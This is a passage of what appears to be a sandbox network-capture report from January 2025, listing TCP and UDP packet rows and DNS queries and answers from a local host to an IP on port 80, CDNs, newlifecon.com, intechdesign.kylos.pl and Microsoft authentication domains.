Jan 13, 2025 16:45:08.566327095 CET	80	49773	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:08.566412926 CET	49773	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:08.566528082 CET	49773	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:08.571418047 CET	80	49773	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:10.867088079 CET	80	49773	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:10.918385983 CET	49773	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:10.940012932 CET	49778	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:10.944883108 CET	80	49778	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:10.944960117 CET	49778	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:10.945246935 CET	49778	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:10.950149059 CET	80	49778	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:11.626379013 CET	80	49778	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:11.677654028 CET	49778	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:12.868230104 CET	80	49773	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:12.868313074 CET	49773	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:12.992562056 CET	49773	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:12.997411966 CET	80	49773	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:13.627859116 CET	80	49778	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:13.628007889 CET	49778	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:14.998820066 CET	49778	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:15.003671885 CET	80	49778	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:20.559185028 CET	49779	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:20.566870928 CET	80	49779	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:20.567012072 CET	49779	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:20.567267895 CET	49779	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:20.574697971 CET	80	49779	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:22.451478958 CET	80	49779	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:22.466300011 CET	49780	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:22.471349955 CET	80	49780	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:22.471443892 CET	49780	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:22.471640110 CET	49780	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:22.476460934 CET	80	49780	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:22.493319035 CET	49779	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:23.168368101 CET	80	49780	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:23.208913088 CET	49780	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:24.449363947 CET	80	49779	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:24.449562073 CET	49779	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:24.991986036 CET	49779	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:24.996958017 CET	80	49779	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:25.169624090 CET	80	49780	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:25.169816971 CET	49780	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:25.887834072 CET	49780	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:25.893098116 CET	80	49780	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:32.497483969 CET	49781	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:32.502829075 CET	80	49781	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:32.502928972 CET	49781	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:32.503132105 CET	49781	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:32.508078098 CET	80	49781	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:34.605165005 CET	80	49781	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:34.609874010 CET	49782	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:34.615210056 CET	80	49782	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:34.615305901 CET	49782	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:34.615514040 CET	49782	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:34.621440887 CET	80	49782	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:34.656347990 CET	49781	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:35.319881916 CET	80	49782	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:35.365859032 CET	49782	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:36.605204105 CET	80	49781	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:36.605287075 CET	49781	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:36.992197990 CET	49781	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:36.998141050 CET	80	49781	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:37.305819988 CET	80	49782	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:37.306096077 CET	49782	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:38.992667913 CET	49782	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:38.999609947 CET	80	49782	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:46.542484999 CET	49784	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:46.547575951 CET	80	49784	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:46.547667980 CET	49784	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:46.547854900 CET	49784	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:46.552624941 CET	80	49784	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:48.526547909 CET	80	49784	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:48.530211926 CET	49785	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:48.535111904 CET	80	49785	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:48.535188913 CET	49785	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:48.535326004 CET	49785	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:48.540086031 CET	80	49785	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:48.569710970 CET	49784	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:49.257540941 CET	80	49785	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:49.302659988 CET	49785	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:50.529493093 CET	80	49784	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:50.529561996 CET	49784	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:50.991692066 CET	49784	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:50.996505022 CET	80	49784	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:51.258093119 CET	80	49785	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:51.258166075 CET	49785	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:52.554562092 CET	49785	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:52.559508085 CET	80	49785	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:54.577939034 CET	64117	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:45:54.583153009 CET	53	64117	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:54.583230972 CET	64117	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:45:54.588143110 CET	53	64117	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:55.040848017 CET	64117	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:45:55.045757055 CET	53	64117	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:55.045821905 CET	64117	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:45:57.228425026 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:57.228458881 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:57.228553057 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:57.228904963 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:57.228918076 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:57.883033037 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:57.883652925 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:57.883714914 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:57.884191990 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:57.884663105 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:57.884748936 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:57.943782091 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:46:01.818795919 CET	49723	80	192.168.2.4	199.232.210.172
Jan 13, 2025 16:46:01.818864107 CET	49724	80	192.168.2.4	199.232.210.172
Jan 13, 2025 16:46:01.823991060 CET	80	49723	199.232.210.172	192.168.2.4
Jan 13, 2025 16:46:01.824070930 CET	49723	80	192.168.2.4	199.232.210.172
Jan 13, 2025 16:46:01.824228048 CET	80	49724	199.232.210.172	192.168.2.4
Jan 13, 2025 16:46:01.824292898 CET	49724	80	192.168.2.4	199.232.210.172
Jan 13, 2025 16:46:07.780005932 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:46:07.780081034 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:46:07.780189037 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:46:07.870546103 CET	64134	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:46:07.870573044 CET	443	64134	142.250.185.228	192.168.2.4
Jan 13, 2025 16:46:07.870902061 CET	64202	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:07.875771999 CET	80	64202	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:07.875843048 CET	64202	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:07.876008034 CET	64202	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:07.880811930 CET	80	64202	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:09.753259897 CET	80	64202	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:09.764908075 CET	64214	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:09.769779921 CET	80	64214	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:09.769891977 CET	64214	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:09.769990921 CET	64214	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:09.774800062 CET	80	64214	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:09.804096937 CET	64202	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:10.461005926 CET	80	64214	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:10.506599903 CET	64214	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:11.823143005 CET	80	64202	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:11.823191881 CET	64202	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:12.455271959 CET	80	64214	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:12.455363035 CET	64214	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:12.993313074 CET	64214	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:12.993376970 CET	64202	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:46:12.998126030 CET	80	64214	94.154.117.206	192.168.2.4
Jan 13, 2025 16:46:12.998226881 CET	80	64202	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:06.324174881 CET	64364	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:06.329865932 CET	80	64364	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:06.329977989 CET	64364	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:06.330142975 CET	64364	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:06.335203886 CET	80	64364	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:08.061239958 CET	80	64364	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:08.067068100 CET	64365	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:08.072088003 CET	80	64365	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:08.072170973 CET	64365	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:08.072468996 CET	64365	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:08.077333927 CET	80	64365	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:08.102984905 CET	64364	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:08.774758101 CET	80	64365	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:08.818903923 CET	64365	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:10.061901093 CET	80	64364	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:10.062057972 CET	64364	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:10.775301933 CET	80	64365	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:10.775715113 CET	64365	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:10.992342949 CET	64365	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:10.992386103 CET	64364	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:47:10.997682095 CET	80	64365	94.154.117.206	192.168.2.4
Jan 13, 2025 16:47:10.997729063 CET	80	64364	94.154.117.206	192.168.2.4
Jan 13, 2025 16:48:04.854518890 CET	64368	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:48:04.859560966 CET	80	64368	94.154.117.206	192.168.2.4
Jan 13, 2025 16:48:04.859674931 CET	64368	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:48:04.859833956 CET	64368	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:48:04.864619017 CET	80	64368	94.154.117.206	192.168.2.4
Jan 13, 2025 16:48:07.013286114 CET	80	64368	94.154.117.206	192.168.2.4
Jan 13, 2025 16:48:07.061259985 CET	64368	80	192.168.2.4	94.154.117.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 16:44:52.811858892 CET	54539	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:52.811955929 CET	58769	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:52.813441992 CET	53	54208	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:52.818147898 CET	53	55171	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:52.871478081 CET	53	54539	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:52.887274027 CET	53	58769	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:53.813287020 CET	53	50030	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.590533972 CET	58812	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.590779066 CET	56308	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.591305017 CET	55048	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.591425896 CET	51034	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.591749907 CET	58039	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.592106104 CET	52851	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.593539000 CET	62315	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.593863964 CET	64973	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.599237919 CET	53	58812	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.599277973 CET	53	56308	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.599499941 CET	53	55048	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.600428104 CET	53	58039	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.600457907 CET	53	52851	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.601701021 CET	53	54903	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.601850033 CET	53	62315	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.602659941 CET	53	51034	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.602860928 CET	53	64973	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.635643005 CET	50623	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.635813951 CET	60200	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:54.677889109 CET	53	60200	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:54.686465025 CET	53	50623	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.298747063 CET	56790	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.299012899 CET	60741	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.305670977 CET	56942	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.305814981 CET	57813	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.305970907 CET	53	56790	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.306184053 CET	53	60741	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.312733889 CET	53	56942	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.312767982 CET	53	57813	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.389595985 CET	58883	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.389864922 CET	56019	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.398137093 CET	53	58883	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.398175001 CET	53	56019	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.445877075 CET	61018	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.446075916 CET	54543	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.455260992 CET	53	61018	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.455298901 CET	53	54543	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.808883905 CET	53	54400	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.833376884 CET	58029	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.833502054 CET	55580	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:55.861022949 CET	53	58029	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:55.861064911 CET	53	55580	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:56.025691986 CET	52061	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:56.025851965 CET	52658	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:56.033338070 CET	53	52061	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:56.033349037 CET	53	52658	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:57.164311886 CET	53051	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:57.164565086 CET	53953	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:57.171282053 CET	53	53953	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:57.171559095 CET	53	53051	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:57.543914080 CET	49837	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:57.544061899 CET	60456	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:57.546838045 CET	59345	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:57.546991110 CET	54421	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:57.554147005 CET	53	59345	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:57.554857969 CET	53	54421	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:57.570322037 CET	53	60456	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:57.572287083 CET	53	49837	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:58.634994030 CET	61179	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:58.635194063 CET	61920	53	192.168.2.4	1.1.1.1
Jan 13, 2025 16:44:58.641561031 CET	53	61179	1.1.1.1	192.168.2.4
Jan 13, 2025 16:44:58.642560005 CET	53	61920	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:05.060926914 CET	53	53288	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:10.918241978 CET	53	51096	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:13.402213097 CET	138	138	192.168.2.4	192.168.2.255
Jan 13, 2025 16:45:29.686547041 CET	53	60471	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:52.517180920 CET	53	54988	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:52.562493086 CET	53	60077	1.1.1.1	192.168.2.4
Jan 13, 2025 16:45:54.577446938 CET	53	52075	1.1.1.1	192.168.2.4
Jan 13, 2025 16:46:22.922204971 CET	53	56073	1.1.1.1	192.168.2.4
Jan 13, 2025 16:46:54.668591022 CET	53	63697	1.1.1.1	192.168.2.4
Jan 13, 2025 16:47:09.889863968 CET	53	56571	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 16:44:52.811858892 CET	192.168.2.4	1.1.1.1	0xb0f0	Standard query (0)	www.newlifecon.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:52.811955929 CET	192.168.2.4	1.1.1.1	0x69d3	Standard query (0)	www.newlifecon.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:54.590533972 CET	192.168.2.4	1.1.1.1	0x600f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.590779066 CET	192.168.2.4	1.1.1.1	0x8b91	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:54.591305017 CET	192.168.2.4	1.1.1.1	0xf46	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.591425896 CET	192.168.2.4	1.1.1.1	0x31c3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:54.591749907 CET	192.168.2.4	1.1.1.1	0x8922	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.592106104 CET	192.168.2.4	1.1.1.1	0xb94a	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:54.593539000 CET	192.168.2.4	1.1.1.1	0x901a	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.593863964 CET	192.168.2.4	1.1.1.1	0x9fce	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:54.635643005 CET	192.168.2.4	1.1.1.1	0xe5fb	Standard query (0)	www.newlifecon.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.635813951 CET	192.168.2.4	1.1.1.1	0x89e9	Standard query (0)	www.newlifecon.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:55.298747063 CET	192.168.2.4	1.1.1.1	0x53a5	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.299012899 CET	192.168.2.4	1.1.1.1	0x9cc8	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:55.305670977 CET	192.168.2.4	1.1.1.1	0x17fe	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.305814981 CET	192.168.2.4	1.1.1.1	0xb0de	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:55.389595985 CET	192.168.2.4	1.1.1.1	0xd4de	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.389864922 CET	192.168.2.4	1.1.1.1	0xe79d	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:55.445877075 CET	192.168.2.4	1.1.1.1	0x8271	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.446075916 CET	192.168.2.4	1.1.1.1	0x971f	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:55.833376884 CET	192.168.2.4	1.1.1.1	0xf5b6	Standard query (0)	intechdesign.kylos.pl	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.833502054 CET	192.168.2.4	1.1.1.1	0x3b93	Standard query (0)	intechdesign.kylos.pl	65	IN (0x0001)	false
Jan 13, 2025 16:44:56.025691986 CET	192.168.2.4	1.1.1.1	0x39e4	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:56.025851965 CET	192.168.2.4	1.1.1.1	0x7e7f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:57.164311886 CET	192.168.2.4	1.1.1.1	0x1b81	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.164565086 CET	192.168.2.4	1.1.1.1	0x6b80	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 13, 2025 16:44:57.543914080 CET	192.168.2.4	1.1.1.1	0x1d1a	Standard query (0)	intechdesign.kylos.pl	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.544061899 CET	192.168.2.4	1.1.1.1	0x26c6	Standard query (0)	intechdesign.kylos.pl	65	IN (0x0001)	false
Jan 13, 2025 16:44:57.546838045 CET	192.168.2.4	1.1.1.1	0x4112	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.546991110 CET	192.168.2.4	1.1.1.1	0x5b32	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 13, 2025 16:44:58.634994030 CET	192.168.2.4	1.1.1.1	0xd290	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:58.635194063 CET	192.168.2.4	1.1.1.1	0x2312	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 16:44:52.871478081 CET	1.1.1.1	192.168.2.4	0xb0f0	No error (0)	www.newlifecon.com	newlifecon.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:52.871478081 CET	1.1.1.1	192.168.2.4	0xb0f0	No error (0)	newlifecon.com		151.106.103.153	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:52.887274027 CET	1.1.1.1	192.168.2.4	0x69d3	No error (0)	www.newlifecon.com	newlifecon.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:54.599237919 CET	1.1.1.1	192.168.2.4	0x600f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.599237919 CET	1.1.1.1	192.168.2.4	0x600f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.599237919 CET	1.1.1.1	192.168.2.4	0x600f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.599237919 CET	1.1.1.1	192.168.2.4	0x600f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.599499941 CET	1.1.1.1	192.168.2.4	0xf46	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.599499941 CET	1.1.1.1	192.168.2.4	0xf46	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.600428104 CET	1.1.1.1	192.168.2.4	0x8922	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.600428104 CET	1.1.1.1	192.168.2.4	0x8922	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.600457907 CET	1.1.1.1	192.168.2.4	0xb94a	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 13, 2025 16:44:54.601850033 CET	1.1.1.1	192.168.2.4	0x901a	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.601850033 CET	1.1.1.1	192.168.2.4	0x901a	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:54.602659941 CET	1.1.1.1	192.168.2.4	0x31c3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
